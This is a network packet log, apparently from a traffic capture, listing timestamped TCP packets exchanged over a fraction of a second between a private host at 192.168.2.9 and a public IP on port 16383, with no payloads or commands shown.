Mar 13, 2025 12:02:36.376780987 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.378786087 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.378843069 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.379033089 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.379050016 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.379080057 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.379112005 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.379144907 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.379154921 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.379192114 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.379196882 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.379228115 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.379244089 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.379273891 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.379319906 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.379329920 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.379378080 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.379470110 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.379479885 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.379496098 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.379504919 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.379523993 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.379551888 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.379570961 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.379587889 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.379594088 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.379602909 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.379616022 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.379645109 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.379656076 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.379659891 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.379710913 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.379870892 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.379880905 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.379889965 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.379899979 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.379910946 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.379933119 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.379961967 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.380089998 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.380105972 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.380115986 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.380135059 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.380173922 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.380330086 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.380340099 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.380356073 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.380364895 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.380386114 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.380419016 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.380502939 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.380513906 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.380517960 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.380521059 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.380537033 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.380548000 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.380563974 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.380595922 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.380738020 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.380794048 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.380901098 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.380911112 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.380955935 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.381037951 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.381047964 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.381062984 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.381072044 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.381098032 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.381130934 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.381135941 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.381146908 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.381162882 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.381172895 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.381187916 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.381205082 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.381230116 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.381253958 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.381295919 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.381299973 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.381344080 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.381345034 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.381401062 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.381403923 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.381412029 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.381429911 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.381438971 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.381464005 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.381477118 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.381480932 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.381515026 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.381525993 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.381541014 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.381551981 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.381561041 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.381581068 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.381588936 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.381592035 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.381622076 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.381637096 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.381652117 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.381653070 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.381678104 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.381707907 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.381716013 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.381733894 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.381742954 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.381772041 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.381774902 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.381783009 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.381794930 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.381824970 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.381833076 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.381844044 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.381865978 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.381875992 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.381886005 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.381917000 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.381925106 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.381927967 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.381968975 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.381968975 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.382002115 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.382010937 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.382052898 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.382074118 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.382083893 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.382107019 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.382116079 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.382124901 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.382148981 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.382153034 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.382163048 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.382165909 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.382209063 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.382225037 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.382236004 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.382257938 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.382267952 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.382277012 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.382293940 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.382302999 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.382328987 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.382342100 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.382352114 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.382360935 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.382385969 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.382397890 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.382397890 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.382424116 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.382433891 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.382436037 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.382472992 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.382483959 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.382488966 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.382503986 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.382513046 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.382533073 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.382560015 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.382582903 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.382592916 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.382610083 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.382632017 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.382652044 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.382698059 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.382709026 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.382716894 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.382725954 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.382736921 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.382750034 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.382766962 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.382770061 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.382777929 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.382786989 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.382792950 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.382802963 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.382818937 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.382819891 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.382828951 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.382848024 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.382875919 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.383471012 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.383481026 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.383497000 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.383506060 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.383537054 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.383563995 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.383579969 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.383589983 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.383641958 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.383641958 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.383651972 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.383692026 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.383701086 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.383702993 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.383719921 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.383729935 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.383738995 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.383754969 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.383780003 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.383802891 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.383817911 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.383827925 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.383836031 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.383873940 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.383882999 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.383892059 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.383899927 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.383905888 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.383924007 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.383959055 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.383961916 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.383970022 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.384004116 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.384008884 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.384013891 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.384040117 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.384048939 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.384049892 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.384063959 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.384088039 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.384139061 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.384147882 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.384201050 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.384203911 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.384216070 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.384238005 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.384248018 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.384258986 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.384293079 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.384299040 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.384310007 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.384340048 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.384363890 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.384438038 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.384448051 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.384455919 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.384466887 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.384488106 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.384499073 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.384506941 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.384510040 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.384521008 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.384551048 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.384557009 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.384567976 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.384571075 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.384603977 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.384608984 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.384613991 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.384629965 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.384639025 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.384654999 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.384663105 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.384674072 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.384682894 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.384712934 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.384722948 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.384741068 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.384746075 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.384757042 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.384768009 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.384808064 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.384865999 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.385303020 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.394226074 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.394287109 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.394959927 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.394968987 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.394996881 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395005941 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395035028 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.395040989 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395052910 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395051956 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.395097017 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.395133972 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395143986 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395174026 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395184040 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395188093 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.395221949 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395231009 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395237923 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.395273924 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.395284891 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395294905 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395311117 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395351887 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.395353079 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395363092 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395374060 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395391941 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395401001 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395401001 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.395417929 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.395427942 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395437956 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395447016 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.395477057 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.395498037 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395509005 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395524025 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395533085 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395546913 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.395575047 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.395582914 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395593882 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395617962 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395627975 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395639896 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.395658016 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395667076 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395673990 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.395710945 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.395713091 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395755053 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395759106 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.395802975 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.395852089 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395860910 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395875931 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395884991 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395904064 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395910025 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.395912886 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395930052 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.395944118 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395955086 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395971060 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.395984888 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.395998955 CET	16383	49685	159.89.179.83	192.168.2.9
Mar 13, 2025 12:02:36.396003008 CET	49685	16383	192.168.2.9	159.89.179.83
Mar 13, 2025 12:02:36.396042109 CET	16383	49685	159.89.179.83	192.168.2.9
